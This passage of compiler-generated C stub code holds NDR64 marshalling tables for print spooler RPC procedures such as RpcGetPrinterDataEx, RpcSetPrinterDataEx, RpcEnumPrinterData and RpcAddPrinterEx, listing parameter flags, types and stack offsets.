*/,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnumValues */      /* parameter pEnumValues */\n        &__midl_frag966,\n        { \n        /* pEnumValues */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbEnumValues */      /* parameter cbEnumValues */\n        &__midl_frag1082,\n        { \n        /* cbEnumValues */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbEnumValues */      /* parameter pcbEnumValues */\n        &__midl_frag1082,\n        { \n        /* pcbEnumValues */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pnEnumValues */      /* parameter pnEnumValues */\n        &__midl_frag1082,\n        { \n        /* pnEnumValues */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag877_t __midl_frag877 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag876_t __midl_frag876 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag877\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag875_t __midl_frag875 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag876\n};\n\nstatic const __midl_frag867_t __midl_frag867 =\n{ \n/* RpcGetPrinterDataEx */\n    { \n    /* RpcGetPrinterDataEx */      /* procedure RpcGetPrinterDataEx */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag1082,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag876,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* nSize */      /* parameter nSize */\n        &__midl_frag1082,\n        { \n        /* nSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag854_t __midl_frag854 =\n{ \n/* RpcSetPrinterDataEx */\n    { \n    /* RpcSetPrinterDataEx */      /* procedure RpcSetPrinterDataEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag1082,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag876,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag1082,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag853_t __midl_frag853 =\n{ \n/* Opnum76NotUsedOnWire */\n    { \n    /* Opnum76NotUsedOnWire */      /* procedure Opnum76NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag840_t __midl_frag840 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag839_t __midl_frag839 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag840\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag838_t __midl_frag838 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag839\n};\n\nstatic const __midl_frag832_t __midl_frag832 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag831_t __midl_frag831 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag830_t __midl_frag830 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag831\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag832\n    }\n};\n\nstatic const __midl_frag829_t __midl_frag829 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag830\n};\n\nstatic const __midl_frag827_t __midl_frag827 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag826_t __midl_frag826 =\n{ \n/* RpcEnumPrinterData */\n    { \n    /* RpcEnumPrinterData */      /* procedure RpcEnumPrinterData */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 80 /* 0x50 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 10 /* 0xa */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* dwIndex */      /* parameter dwIndex */\n        &__midl_frag1087,\n        { \n        /* dwIndex */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag830,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbValueName */      /* parameter cbValueName */\n        &__midl_frag1082,\n        { \n        /* cbValueName */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbValueName */      /* parameter pcbValueName */\n        &__midl_frag1082,\n        { \n        /* pcbValueName */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag1082,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag839,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag1082,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* pcbData */      /* parameter pcbData */\n        &__midl_frag1082,\n        { \n        /* pcbData */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag824_t __midl_frag824 =\n{ \n/* *PORT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag703\n};\n\nstatic const __midl_frag822_t __midl_frag822 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1081\n};\n\nstatic const __midl_frag819_t __midl_frag819 =\n{ \n/* RpcSetPort */\n    { \n    /* RpcSetPort */      /* procedure RpcSetPort */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag822,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPortName */      /* parameter pPortName */\n        &__midl_frag822,\n        { \n        /* pPortName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortContainer */      /* parameter pPortContainer */\n        &__midl_frag703,\n        { \n        /* pPortContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag817_t __midl_frag817 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag816_t __midl_frag816 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag817\n};\n\nstatic const __midl_frag815_t __midl_frag815 =\n{ \n/* *SPLCLIENT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag793\n};\n\nstatic const __midl_frag814_t __midl_frag814 =\n{ \n/* *SECURITY_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag156\n};\n\nstatic const __midl_frag812_t __midl_frag812 =\n{ \n/* *PRINTER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag109\n};\n\nstatic const __midl_frag809_t __midl_frag809 =\n{ \n/* RpcAddPrinterEx */\n    { \n    /* RpcAddPrinterEx */      /* procedure RpcAddPrinterEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag109,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 